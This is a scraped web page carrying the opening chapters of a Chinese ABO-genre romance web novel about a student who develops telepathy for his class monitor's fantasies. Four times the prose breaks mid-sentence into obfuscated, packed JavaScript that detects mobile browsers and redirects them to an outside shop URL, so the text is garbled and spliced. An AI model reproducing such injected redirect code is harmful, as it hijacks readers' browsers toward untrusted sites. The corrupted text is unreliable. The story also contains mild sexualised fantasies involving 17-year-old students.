《再脑补我就亲你了ABO》 1. 001 【第一章:幸运的是,你罹患绝症。】 一直以来,林樗都不觉得第二性别会对他造成什么影响,直到他高龄二次发育,从beta变成omega,并随之罹患读心症。 然后,一天之内,他读到不下二十个脑补画面,其中还有几个是限制级的,而画面的主角全都是他和……他的班长方应时——此时,方应时正站在课桌边给人讲题,白衬衫,黑头发,笑容开朗,眉目坦荡,一身正气,仿佛要原地变成太阳铺照众生一样。 但是! 因为读心术,林樗看到的是,同一片阳光,同一个教室,不同的是同学被清空,而他被方应时按在课桌上亲得满目绯红气喘吁吁。 …… 很难评价。 第一次看到这种画面的时候,他甚至觉得出问题的是他自己! 因为他跟方应时同班两年,知道对方是个alpha,家庭美满,在数不清的爱里成长,被栽培的遵纪守法又坦荡高洁,积极向上,豁达开朗,还乐于助人,就像初升的骄阳,连阴沟里的蟑螂都要照两勒克斯。 所以,他马不停蹄地去了医院,又一次站到主治医生面前。 他平静的向照顾了他七天的主治医生问好,平静的阐述着他发育完成后重新回到课堂上,又因为刚完成发育,身体疲惫,想在早读开始前再补个觉,结果刚一闭上眼,被人按在窗边强吻的画面猝不及防闯进脑子里,吓得他眼一瞪,人就醒了。 醒来一看,乐于助人的班长方应时就站在他桌边,手里递过来一张隔离贴。 他沉默了。 他解释:“我有贴隔离贴。” 光风霁月的班长露出善解人意的微笑:“我知道。不过你的信息素还不太稳定,两张的效果会比一张更好。” 然后,第二个画面强硬的挤进他的脑子里:信息素不稳定的他被一步步逼退到角落,失去作用的隔离贴被丢到脚下,温柔的班长缱绻的舔舐着他的腺体,下一秒就如同饿狼脱下伪装,恶狠狠的咬下去—— 被犬牙刺穿腺体的痛感沿着脖颈瞬间扩散,就好像真的存在一样,林樗他震惊的瞳孔都放大了,半边身体都陷进麻木里,他下意识伸手摸脖颈,摸到完整的隔离贴和平滑的腺体,意识才缓过神来。 善解人意的班长变得困惑和担忧:“你还好吗?需要送你去医务室吗?” 林樗:“……” 林樗摇头:“我不太好,我要请假去医院。” 于是,在他成功二次发育,身份信息从beta变更omega不到二十四小时的时间间隔里,在他平静无波的述说里,主治医生那‘什么大场面我没见过’的表情碎成一片片,双手颤抖的掏出手机打电话。 不到十分钟,头发花白但精神奕奕的老医生走进来。 林樗又重复了一遍自己的遭遇。 头发花白的老医生沉默两秒,也掏出手机。 半个小时后,一位头发全白,拄着拐杖的老老医生走进来。 林樗再一次一字不差的重复自己的遭遇。 拄拐的老医生戴着老花镜一条一条的查看林樗的检查报告,又指挥着护士带他去做新的检查,同时让联系家属。等他做完一圈检查,他的母亲,雷厉风行的林见安女士已经到了。 “医生,我家孩子是什么状况?” 拄拐的老医生拿着一大沓报告:“孩子的二次发育时间比同龄人晚了1~2年,在医学定义上属于晚龄,不过他的腺体发育良好,没有出现常见的晚龄信息素紊乱综合症,初期的信息素不稳定和发情期不稳定问题,只要及时使用隔离贴和抑制剂就能进行预防。” 这些诊断在林樗二次发育完成时,就听过一次了,林见安女士耐心点头。 拄拐的老医生换上新的报告单:“但依照病情描述,在最新的检测报告单里,孩子的Rt-Jklg数值是正常数值的十倍,HhLmn蛋白是正常数值的五倍……” 一连好几个偏僻的专业词汇,都远超正常数值,林见安女士的表情空白了,急忙问:“这些会引发什么后果?” 拄拐老医生停了下来,换成普通人能听懂的解释:“这些都不是常见的医学病理学指标,它们的同时出现只证明了一点,你家孩子对alpha信息素的接受范围很窄,他只能接收契合度超过95%的alpha的信息素,长时间接收契合度低于90%的alpha信息素会诱发信息素紊乱。” 信息素紊乱会给omega带来精神上的困扰和身体上的疼痛,严重还会诱发腺体癌。 林樗:“……” 林见安女士:“……” 林樗:“这已经算绝症了吧。” AO本身就不算多,大部分人的契合度都只在及格线徘徊,超过75%就已经是天作之合了,90%以上那简直是沙漠里淘金,更别说95%了。 林樗仅花一秒就决定下半辈子只跟抑制剂打交道,但他最初的主治医生战战兢兢的立在祖师爷身后,欲言又止。 拄拐的老祖师爷看着林樗,行止缓慢的翻到下一页检查报告:“幸运的是,你还同时罹患《超高契合度关联感应症》。” “幸运?” “是的,”老祖师爷指着检查报告,“《超高契合度关联感应症》又名读心症,是一种极其罕见的病症,只发生在契合度高于97%的alpha和omega之间,患者会自发关联符合契合度要求的alpha或omega。依照你对自我症状的描述,排除潜在思维发散的可能性之后——简单的说,就是你的身体捕捉到了那位alpha的思维波动。” 林樗:“……” 林樗:“您的意思是,我的脑子没有问题,我看到的画面都是……那位脑子里想的东西。” 看着从始至终表情都没变过的少年,老祖师爷:“是的。” 林樗:“…………” 林樗:“能治吗?” 老祖师爷:“很抱歉。依照目前的医学手段,我们没办法对这种病症进行有效干预……” …… 回到现在。 强硬挤进脑海里的画面再次升级,被按着亲的他已经从气喘吁吁变成嘤咛哀饶…… 忍了忍,没忍住,林樗朝着对方看去,然后视线被敏锐的alpha捕捉到,刚刚还低着头讲题的方应时侧过头,笑容开朗又明媚。 “林樗,怎么了吗?” 面无表情的林樗顿了顿,摇头,然后背过身趴到桌上,留下一个黑不溜秋的脑袋。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497975|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他的位置靠窗,阳光倾落,为散落的黑发渡上一层微光,方应时带笑的目光停了两秒才慢慢收回去,重新讲解题目的声音放轻了一些。 闭目午休的林樗平静下来,因为挤进脑海的画面终于消失了。 下午是两节物理课和一节生物课,物理的任课老师陆则是他们班的班主任,午休结束的林樗抽了个时间去办公室销假。 办公室其他老师都不在,林樗喊了一声陆哥。 班主任陆则接过假条,问:“身体已经恢复了吗?” 林樗点头:“好多了。” 陆则是个beta,在校任教五年,带高二(1)班快两年,很了解林樗的性格,“你的情况特殊,不用勉强,如果还是不舒服就多休息几天。学习重要,身体更重要,也不用担心赶不上进度,我回头让方应时给你带笔记,他物理和化学都不错,能帮你查缺补漏,你有什么不懂的可以多问问他。” 猝然听到方应时的名字,午睡前的画面又重新浮现出来。 “……谢谢陆哥,不过我已经没事了,不要更多的休息,也不需要班长带笔记。” 婉拒了班主任的提议,林樗回到教室。还有几分钟才上课,教室里很热闹,几个过分活泼的堵在教室后排叠罗汉,林樗回到桌位,找同桌拿笔记。 同桌赵宇飞很仁义,还给他点了课程进度。 两人是初中同学,开学至今又当了一个多月的同桌,相处很不错,就是赵宇飞有点不着边际,说话不过脑,会在上课时间突然贱兮兮地凑上前问林樗:“当omega是什么感觉?” “没什么感觉。”林樗的表情相当平静。 从二次发育开始到被判定罹患无药可医的绝症,到莫名其妙接收到大量奇怪的脑补画面,他的表情都很平静——不是没有情绪,而是太费精力,所以懒得表达。他从小就是低能量人群,生存法则有且只有一条: 人生没有什么事情是必须要做的,如果必须要做,那就选最不耗能的办法做。 比如,能接受的alpha信息素范围很窄,那就自己一个人过。 比如,莫名其妙的读心症,读到的还是方应时的内心。 先不提他为什么能读到方应时的内心,也不提方应时的内心为什么会有那么多和他的想法,光是读心暴露引发的后果,那位坦荡高洁,积极向上,豁达开朗,比肩太阳的班长堕下神坛……可以预想到,会出现多少以自己和方应时为中心的麻烦事件产生,林樗一秒钟都不用就决定,为了平静的高中生活,他要隐瞒读心症的存在。 就假装什么都没发生好了,反正再过一年多就高考,考完大家东南西北一通乱飞老死不相往来。 再说了,那些以他为主角的小黄画面最多也就是牵手和亲嘴,没有更过分的了……都在他还能忍受的范围里,被咬腺体那次除外。 他研究过,方应时之所以会脑补出咬他腺体的画面,是因为他刚转变为omega,不稳定的信息素散逸在外,被方应时捕捉到了。 从目前的情况看,方应时只是捕捉到了他散逸的信息素,没有往更深层的方向想。 所以,为了遏止类似意外再次发生,他决定在信息素和发情期都稳定之前,出门都贴两张隔离贴! 2. 002 【第二章:画面猝不及防闯进脑海里。】 过去的十七年人生,林樗一直过得很节能。 刚出生的时候,他会因为懒得哭多挨医生几巴掌;上幼儿园的时候会因为不说没必要的话被当成自闭儿;到了小学初中,会因为笔袋里永远只放两支笔,笔记只记最重要的公式,班级消息能不回就不回被评定为不合群透明人。 不过他的运气很好,没有人因为他的生存法则排挤他,反而有几个和赵宇飞一样没什么心机的同学凑到他面前,心如磐石,坚定不移的要跟他做朋友。 他的脑子还算可以,小学初中成绩都不错,高中考上市重点高中,成为(1)班的一员,按照他的计划,他会在这里平静的度过三年高中生涯,然后考进A大计算机系,为节能人生立下新的里程碑。 所以,突如其来的二次发育,从beta变成omega,也不会给他带来任何变化,他是这么认为的。 放学铃声响起,跟同路的赵宇飞道了别,林樗顺着人群踏上回家的路。 赵宇飞收拾书包有点慢,再抬头就看到方应时就站在他们的课桌前。 “班长你还没回家吗?” 方应时回过头,扬了扬手里的笔记本,“林樗不是请了几天假吗?陆哥让我把笔记本借他。” “哦哦,”赵宇飞恍然大悟,大大咧咧的开口,“林樗已经回家了,说是他妈妈来接他,不过你放心,他回去之前借了我的物理和化学笔记,说是要自己自学一下。” “原来是这样啊。”方应时笑容灿烂。 临近十一月,空气透着点凉意,空荡荡的座位里飘忽着极其浅淡,寻常alpha难以捕捉的酒香,很醉人。 那是他闻过一次就绝对不会再忘记的信息素气息。 学校门口,林樗已经找到并坐上林见安女士的车。 “不用特意过来接我,我能自己回家。” 林见安女士熟练的倒车:“特殊情况特殊处理。今天过得怎么样?昨晚跟你提议的转班或者休学考虑得怎么样?” “不考虑。”林樗窝在副驾驶座里,已经进入节能模式,“太麻烦了。” 红灯停车的间隙,林见安女士想了想:“实在不行,你跟那个alpha解释一下,有相处的机会也可以多了解了解?” 毕竟高契合度的AO很稀有,不是地里的大白菜,还能解决林樗对alpha信息素接受范围过窄的问题。 “不要。太麻烦了。” 不符合他的节能气质。 林见安女士满身的精英气息在此刻破防:“你到底长得像谁?我们家三代之内都没有你这么怕麻烦的,你也不是我从垃圾桶捡回来的啊!” 林樗随口回复:“真的吗?我不信。” 林见安女士:“……” 林见安女士微笑:“是天气好了,皮也痒了吗?” 林樗并不是真的想挨打,因为挨打很麻烦,但他又不能不回话,他虽然主张节能,能不说的话就不说,但家人的话,只要是对他说的,他每一句都会回应。 回到家晚饭已经煮好了,掌勺的是他的alpha姐姐,A医大在临床专业在读生林梧,因为他晚龄二次觉醒的事情,已经连着回家住了好几天。A医大也在本市,距离他们家一个半小时的车程,林梧每天要早起两个小时。 林樗提过自己没事,但实在拗不过两位女士。 一家人普通的吃了个晚饭,看了一会儿电视,林樗回房间开始写作业和补落下的功课,过程不是很顺利,毕竟他扎扎实实请了一周的假,学习就是这样逆水行舟不进则退的事情,中途林梧敲门进来过一次,看到他正困恼,也没说什么,转头送来一杯温牛奶,林樗喝完牛奶又继续写作业,再抬头已经快十二点了,远远超过往常睡觉的时间。 第二天是个大晴天。 林樗收拾好的时候还很早,但需要赶早的林梧已经出门了。 林见安女士人还没清醒,听到声音,游魂一样拉开门问要不要送他到学校,林樗拒绝了。 到了学校,早读还没开始,教室里课桌上三三两两趴着几个补觉的,也有浪过了头在补作业的,林樗也想补觉,他昨晚就没睡够,二次发育完成之后,身体又就一直处于困顿的状态。 趴在桌上迷迷糊糊睡过去,也不知道睡了多久,忽然听到有人敲桌子,抬起头就看到方应时的脸。 “我来收物理作业。” 方应时物理很好,是能参加竞赛的水平,担任班长的同时也兼任物理课代表。 林樗缓了两秒,才发现已经早读已经结束了,生命力旺盛的高中生围着课桌打打闹闹,就像菜市场一样,他勉强驱散脑子里的倦怠,从书包里拿出作业递过去。 方应时没接。 林樗等了一会儿,不得不重新抬起眼睛看他。 四目相对。 方应时笑得阳光普照:“你拿的是化学作业。” 林樗:“……” 林樗重新打开书包,把物理作业拿出来递过去。 方应时还是没接。 周围很吵闹,他们俩一站一座,安静的有点格格不入。 林樗不是那种柔和软糯的长相,他不说话的时候显得非常冷漠,甚至有种三体人打过来了也随便吧的颓丧感,但今天他趴着睡了一觉,因为趴得太久脸上印出红痕,眼睛泛红,还带着被吵醒的水润,冷漠感被削减了,颓丧感却超级加倍,看着就让人很想欺负一下。 可爱捏。 “你看起来很难受,”方应时适时的停了一下,脑海里想的却是迅如雷霆地扣着对方的脖颈吻上去,用柔软的唇舌吻去眼角泛红的水泽……“需要送你去医务室吗?我还是第一次看见你在早读前补觉。” 小黄画面猝不及防闯进脑海里。 林樗:“……” 方应时:“……” 方应时思考两秒,歪头:“你为什么不问我为什么是第一次看见。” 林樗面无表情:“不想问。感觉会很麻烦。” 方应时噗的一声抱着肚子笑出来。 他长得好,背衬着七点多钟的太阳,整个人闪闪发光的,就像漫画里的青春阳光男高中生,林樗被闪到了,他怀疑对方是故意的,但没有证据。 其实在过去的一年多里,这样的场面并不少见。 方应时是班长,又兼任课代表,平时收作业、传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497976|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达教学内容等都需要跟班级成员沟通,他的个性又积极开朗,还善解人意,只要愿意他可以跟任何人相处好,林樗曾经也是沐浴他阳光般的恩惠的一员。 直到读心症的出现。 ……那些小黄画面挤进脑海的那一刻,方应时维持一年多的光明伟岸的班长形象就在他心里死去了。 也许是因为方应时笑得太肆无忌惮,暴露了踪迹,立刻就有人哀嚎起来。 “时哥!时哥!!物理最后那道大题怎么做?”一条人影窜过来,“快给我抄一下,要来不及了,第一节就是物理课。” 人影窜过来的力道很重,然而方应时纹丝不动。 是方应时的同桌,季然。 季然是班内有名的物理苦手。在高一期末考上,曾以一己之力成功将物理科的班级平均分拉上倒数第一的宝座——作为专业的辛勤园丁,他们的班主任陆哥入行以来就没受过这种打击,于是高二开学第一天,季然就被安排跟方应时做同桌。 安排之前征求过方应时的意见,方应时欣然同意。 按他的说法,帮忙教导别人也是一种学习的过程。 当然他也不是什么忙都帮。 “不要哦,”方应时拒绝,“自己写,抄作业并不会让你掌握知识点呢。” “但是第一节就是物理课。” “准确的说,是物理随堂测。”方应时笑了笑,“陆哥已经把试卷拿给我了。” 季然顿时哀嚎起来。 旁边听了一耳朵的同窗们围上来,围着方应时哀嚎,方应时笑意不改,挑着问考点的人回答了几句,手上不动声色的接过林樗的物理作业,再拖着哀嚎的人群离开,免得陷入困倦的节能怪被生命力淹没窒息。 林樗依旧面无表情。 善解人意很好,但能不能先把脑补的画面停一停呢。 从刚刚到现在,那个处于想象里的吻就没终止过!惊悚的麻沿着背脊窜上来,柔软的舌尖一遍一遍的舔舐泛红的眼尾,连隐蔽的小痣都没放过,让他感觉自己的脸上也被糊了一层又一层的口水,就…… 旁边的赵宇飞震惊不已:“林樗你怎么了?脸好红,耳朵也红了,有哪里不舒服吗?” 林樗:“……” 林樗:“没有,就是想去洗把脸。” 赵宇飞:“哦哦,那你快去吧。马上就要上课了。刚刚班长报的考点里,我有好多都不会,你好像也不会,你那几天请假了……” 林樗啪地一下重新坐回位置上。 在洗把脸和临时抱佛脚之间,他非常理智的选择临时抱佛脚。 但临时抱佛脚没什么用,不会就是不会。 试卷怎么发下来的就怎么交上去了,刚刚应该去洗把脸的,林樗心想,他拉开椅子从后门走出去,途中遇到方应时和季然,季然抬手刚要打招呼就被他无视过去了。 季然支着下巴,开始思索:“时哥,林樗这几天的情绪是不是不太好?” “嗯?”目送林樗走远的背影,方应时应了一声,“好像是有一点吧。” 空气里,混杂在来往的人群之中,那点微薄到无法引起共鸣的冰冰凉凉的清酒香再次被alpha捕捉到。 3. 003 【第三章:非要说的话,该死的alpha。】 因为是随堂小测,意在摸底,看看学生对近期学习的知识点的掌握情况,所以批改简单,在下午第一节课开始之前,试卷就发下来了。 发试卷的人依然是方应时。 试卷发到林樗手里,卷首是一个史低的分数——预料之中,林樗接受得很平和,他收起试卷,方应时又叫住他,“陆哥让你去办公室一趟。” 林樗点点头,往教室外走,走到楼梯间觉得不对,扭过头就看到方应时亦步亦趋的跟在身后。 脚步一顿,林樗转过身:“?” 方应时读懂了他的表情,弯起眼睛,指着自己:“陆哥让我也去办公室一趟。” 林樗:“……” “这个表情,”方应时弯着腰凑近了一点,“你是在说,那为什么不跟你并排走?” 林樗:“…………” 方应时做作的欸了一声,“原来我能跟你并排走的吗?” 节能人士一如既往的吝啬做表情:“我怀疑你在骂我。” 但没有证据。 方应时又笑起来,边笑边举手,朝前迈了两步表示自己没有指桑骂槐的意思。午后的阳光从格子窗照进来,两人并排走,虽然隔着距离,但不知道是不是被那些奇怪的脑补画面影响,他忽然无比清晰的意识到,年轻的alpha身上全是收敛不住的压迫感。 沿着空无一人的楼梯往下,林樗忽然开口。 “并不好笑。” “不好笑吗?” “嗯。” “真是冷漠的回答呐。” 方应时枕着手臂,笑着接话。 高二办公室统一在二楼,因为临近上课,各科老师都在,班主任陆则先发现了他们,放下枸杞保温杯朝他们招手。 “陆哥。” “陆老师。” 两人打了招呼,陆则对着林樗开口:“你的试卷看了吗?” 林樗点头。 陆则不多说废话:“你的物理成绩一直以来都不算太差,这段时间因为请假,电场方面的知识点都没学,需要有个人帮你补进度,你看方应时行吗?” 林樗沉默。 作为班主任,陆则很了解他的学生,“如果你不愿意麻烦班长,也可以每天放学后带着课本来办公室找我。” 学生放学就是老师下班,放学后来办公室相当于延长老师的下班时间,而老师是没有加班一说的……林樗觉得自己仿佛变成了带恶人,他转头看向笑得眼睛弯弯的方应时。 “麻烦你了班长。” “不会哦,”方应时又问,“那你看什么时候可以开始补进度?” 林樗:“……” 林樗:“放学后。” 方应时点头:“那就放学后。” 离开办公室,林樗实在没控制住长呼一口气,才刚下午,但感觉一天的能量已经快要耗尽了。 接下来的课很平静,虽然他请假了很多天,但和物理不同,在数学化学这些他擅长科目上并没有落下太多,所以也没有任课老师找他谈话。 一直到放课铃声响起,安静的楼道变得热闹,赵宇飞三两下把课本塞进书包,还催促林樗,“时间还早,我们去电玩城怎么样?” “不去。”林樗拒绝。 赵宇飞:“那校门对街新开了一家书店,一起去逛逛?” “不去。”林樗继续拒绝。 “去图书馆?” 赵宇飞继续问。从初中到高中,作为好友他被林樗拒绝得很多,也很有经验,在同一个时间点里,林樗最多拒绝一个人两次,只要那个人坚持不懈的提供第三个方案,并表现出绝对不抛弃不放弃的精神,林樗就会为了片刻的安宁,从所有的方案里挑出最不耗能的一件事做。 然而…… 林樗坐在位置上,嘴巴一张,无情的说出第三个,“不去。” 赵宇飞:“??” 就在这时,带笑的声音从身后传来。 “我能坐在这里吗?” 赵宇飞回头,就看到带着物理课本和笔记的方应时指着他的课桌问,因为太过突然,他还愣了几秒钟然后猛地看向林樗,林樗耷拉着肩膀,神色带上了无可奈何的颓唐。 “是的。就是你想的那样,我得学习。” 方应时坐下来,翻开课本,笑得阳光灿烂:“准确的说,应该是补进度,我是林樗钦点的补习小工具人。” 林樗:“……” 赵宇飞:“……” 赵宇飞震惊:“当工具人是什么值得开心的事情吗?” 林樗:“……” 谢谢你,我的嘴替。 方应时:“为班级服务,这是我的荣幸。” 林樗:“……” 赵宇飞:“……” 方应时弯起眼睛,看向还没走的赵宇飞:“你也要加入我们吗?” “不…”赵宇飞一步三/退,惊恐摇头,“不了,我回家了。再见。” 教室顿时安静下来,落日余晖穿过窗台,风也徐徐缓缓的,方应时在稿纸上画了几个基础的电场图就开始讲解,大概是为了方便林樗理解,他讲解的很细致,每个知识点都拆分开,偶尔还会问林樗哪里没弄明白。 在一班里,林樗的物理不好不坏,处在中游,但他理解能力没问题,很快就吸纳了知识点,又动笔开始写方应时出的练习题。 林樗动笔的时候,方应时有些无所事事,就支着下颌转笔,转得无聊了就趴在桌上侧头看林樗,那双对外总是笑意盈盈的眼睛安静下来,变得幽深而沉寂,仿佛藏着什么。 虽然已经同班一年多,但因为从未同桌,甚至没有就近坐在一起,他直到才发现,印象里受众人爱戴的班长其实长得很高,趴在桌上有种坐不下的感觉。 “你多高。”林樗停下笔,很突兀的问。 “一米八九。”方应时依旧趴着。 林樗:“……” 他才一米七八。 安静的眼睛带上笑意,方应时像是有了兴趣,凑近一些:“同班这么久,你还是第一次想了解我,怎么样,有什么感想吗?” 一米七八的林樗:“…………” 没关系他还在生长期,他还能长。 一米八九的方应时凑得更近:“说说呗。” 林樗停了一下,目光从头到尾的打量了一下就算趴着也看得出很高的某人,重新动笔:“非要说的话,该死的alph ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497977|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' a。” 方应时:“……” 方应时失笑起来:“喂,你这算迁怒吧?” 林樗已经不理人了。 准确的说,他已经榨不出一点能量了。 赶在太阳晚霞散去的最后一刻,林樗写完方应时出得练习题,两人背着书包走出校门。这一路上,无论方应时说什么,林樗都像电量耗尽的机器人,给不出一点合格的反应。 第二天,是个阴天。 因为昨夜起风,气温骤降,林樗翻出校服外套穿上,临出门前,检查了一下腺体的情况。晚龄二次发育的症状还没有完全消退,第一次发情期没来,不稳定的信息素被隔绝在隔离贴里,一切都很正常,林樗还额外备了两张隔离贴在书包里,防止出现意外。 谨慎能杜绝很多不必要的麻烦。 到了学校,已经快早读了,教室里吵吵嚷嚷,几个课代表站在讲台收作业,讲台下三三两两趴着补觉的——高中生就是这样,起得比鸡早,睡得比社畜牛马晚,两眼一睁就是学习学习,很虚弱,很无力。 看得林樗也想补觉了。 不过因为方应时的补习,他不用自学物理,能空出时间早早睡觉,积攒的能量足够让他抵抗身体涌上来的疲惫感,所以他拿出英语报开始背作文。 好几届之前,学校响应教育改革,已经不分文理科,改成3+1+2的高考模式,‘3’是指必考科目,包含语文、数学、英语;‘1’是首选科目,从物理和历史里二选一;‘2’是再选科目,从思想政治、地理、化学、生物学四门科目中确定两门。 林樗选的是物理、思想政治和化学,选物理是因为物理比历史有规律,选化学是因为他擅长,选思想政治是因为家庭需求。 林见安女士坚定的认为思想政治可以升华灵魂,林樗对此持保留意见,不过他确实读马哲,也致力于提升自己的道德水准,争取成为一个对社会有用的人。 在升高二时,学校按照选课排过班,一班换了大半的人,但林樗熟悉的几位都在还一班,他走进教室时,还有几个跟他打了招呼。 回到自己的位置,罕见的赵宇飞已经到了,正笔杆子冒烟的赶作业,一边赶一边问林樗数学最后一道大题怎么写。 林樗懒得说话,提笔帮着画了一条辅助线。 早读铃声响起,在课代表的一声声催促中,赵宇飞依依不舍的上交作业。 二十分钟的早读很快过去,在铃声响起的那一刻,方应时走上讲台,在一众目光之中表示,下周的周四和周五要举办校运会。 班众即刻欢呼雀跃。 方应时抬手压了压声音:“校运会之前有月考,如果不及格会发生很可怕的事情。除此之外,希望大家都踊跃报名运动项目,不要再发生去年那种,让我一个人报八个项目的事情了。” 轰笑声瞬间响起。 闹成一团的高中生们几乎把方应时围起来。 就算心存偏见也不得不承认,方应时能成为一班的支柱确实有点东西的,林樗支着下颌想,起码他就不会为了班级荣誉报八个运动项目……真是愧对他上的思想政治课。 不过,就算他想他也办不到。 因为他只是一个不善运动的柔弱知识分子。 4. 004 【第四章:算了,摸小狗就摸小狗吧。】 不善运动的知识分子决定逃避报名任何体育项目。 一班在座三十人,各个都是远近闻名的天才,他不干也有的是人干! 比如后排靠门的体育生,上课都要练握力器;再比如赵宇飞,印度飞饼十八代传人,很适合去抛个铅球标枪什么的;又比如坐他前排的文学少女蝉联三年马拉松冠军;最后比如班长方应时,这个更是能报八个项目的全能型选手。 无视方应时放在讲台上的报名表,林樗心安理得的早读,上课,写作业,拒绝赵宇飞的一切提议,欣慰的度过普通又安宁的高中日常,等补完物理知识点,二次发育带来的影响马上就要离他远去。 林樗对这种发展很满意,连带对世界都包容了起来。 上午的课程结束,铃声一响,饿得不行的赵宇飞就诈尸一样跳起来,着急忙慌的催促:“快点快点!今天食堂有卤鸡腿!” 林樗对卤鸡腿没什么兴趣,但他确实饿了。在半大小子吃穷老子的年纪,哪怕他是个不怎么动弹的节能人士,也能干掉一大碗饭。 食堂人很多,但赵宇飞跑得快,如愿以偿的得到了他想要的卤鸡腿,还顺便也给林樗打了一份同款饭菜,两人在挤满人的餐桌里找到两个空位坐下。 赵宇飞一如往常的狼吞虎咽,林樗虽然也饿,吃得也快,但看着比较斯文,途中旁边的人吃完离开,又有人端着餐盘坐过来,还打了两声招呼,林樗抬头才发现来得是方应时和季然,方应时就坐在他旁边,但餐盘里的食物比他多一倍不止,而且开口第一句话就是,“怎么吃这么少?” 林樗:“……” 方应时弯着眼睛,示意盘子里的卤鸡腿:“要吗?” 林樗:“?” 赵宇飞:“?” 季然:“?” 赵宇飞茫然地转头看向季然,恍然大悟,继而又看向季然餐盘里的卤鸡腿。 季然警铃大作,捂着鸡腿抗拒:“方应时是方应时,我是我,不许觊觎我的鸡腿!这可是摆上餐桌的最后一只鸡腿,我耗尽半生功力才抢到的鸡腿……” 林樗不能理解男高中生们对卤鸡腿的热爱,所以冷漠无情的选择拒绝。 方应时倒也不遗憾,依旧笑眯眯的,然后风卷残云一样,在林樗吃完最后一口饭的时候,适时的放下筷子。 林樗:“…………” 明明是两个人来的,最后却四个人一起走。 走出食堂的时候,凉风一卷,林樗就有几分晕碳了。 他不是社恐,也不排斥多几个人一起走,甚至有些乐意,因为赵宇飞不再一刻不停的跟他讲话了,因为季然在旁边。季然也是多话的性格,两人聚在一起一分钟不讲话身上就像有蚂蚁在爬。 方应时也不讲话,落后两步跟他并排着走,一直走到教室,各回各桌。 晕碳的林樗趴在桌上,心态很包容,也很平和,虽然罹患绝症,从读心症里知道光风霁月的方应时有时也有阴暗的念头,但他懒得去纠结其中的内情,那样不节能。 再说了,只要是个人,内心就有阴暗的时刻,方应时内心有什么感情跟他有什么关系呢? 难道方应时脑补着亲他两下,他就要打破自己的生活状态,扑上去跟方应时拼命吗? 那多累啊。 林樗拒绝,他调整了一下自己的姿势,刚闭上眼睛,画面就突兀的闯进脑海里: 那是一幕很纯情的画面,秋日暖阳铺照而下,两张合并的椅子,午睡的他枕着方应时的腿闭目休息,方应时一手挡着过分刺眼的阳光,一手顺着他的头发抚摸,就像摸小狗一样。 林樗:“…………” 教室里寂静无声。 算了,摸小狗就摸小狗吧。 林樗冷漠的翻了个身。 下午是化学课和思想政治课,都不难,林樗靠着思想政治净化了一下腐朽的心灵,然后耗尽最后一点能量。 放课后照例补物理。 方应时对物理很有见解,能用诙谐有趣的方式从一个知识点往外发散,讲完知识点再出练习题,每道题都很有特点,层层深入,极其容易给人带来一种我上我也行的感觉。 然后,林樗对着着几道题写到了天黑。 耗尽能量的林樗再一次进入人机托管模式,就连方应时因不放心提议送他回家都没力气反驳了。 C城的十一月早晚温差很大,早上穿着校服外套出门,中午就得脱掉,但到了晚上就算穿着校服外套也能感受到一丝一丝的凉意,两人走到街区,方应时走快两步在贩售机里买了两罐热饮。 热饮被塞到林樗手里,驱散那点不适的寒凉。 路灯已经亮起来的时候,刚好走到林樗家小区楼下,缓回一点精气神的林樗礼貌道别。 “明天见。” 路灯的光倾泻而下,一天的风尘疲劳里,方应时依旧笑得很爽朗。 “嗯,”林樗忍不住多看了一眼,“明天见。” 不管怎么说,林樗心想,方应时确实是被教养的很好的人,有风度,有涵养,会照顾人,过度脑补这种污点落在他身上就像尘埃一样微不足道。 直到林樗的身影完全消失在视野里,凭风而立的少年alpha才缓缓收回视线,阳光的笑意一点点淡下来,低调的梅赛德斯如风一样轻捷的停在他身侧,他拉开门坐进去。 车门关闭,低调的轿车融入车流里。 远处霓虹映照,日月代换,星斗倒转,新的一天又到了。 新的一天依旧平和,稍有不同的是,下午放学前一节是体育课。 众所周知,高中生的体育课是个很玄幻的东西,它有时候有,有时候没有,林樗无法预判体弱多病的体育老师想不想上不上岗,所以多带了两张隔离贴和一支抑制剂。 然后发现,体育老师上岗了。 大概是因为校运会临近,需要选拔合适的人才报名参赛,所以体育课上课第一项就是测试跑步,女生八百米,男生一千米。 林樗对于跑步是抗拒的,他不擅长这种挥霍生命力的运动,所以也不在乎速度,按照自己的节奏调整呼吸往前跑,跑了一会儿就感觉一阵风从面前卷过去,然后又一阵风从面前卷过去。 从背影看,应该是班里的几个a ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 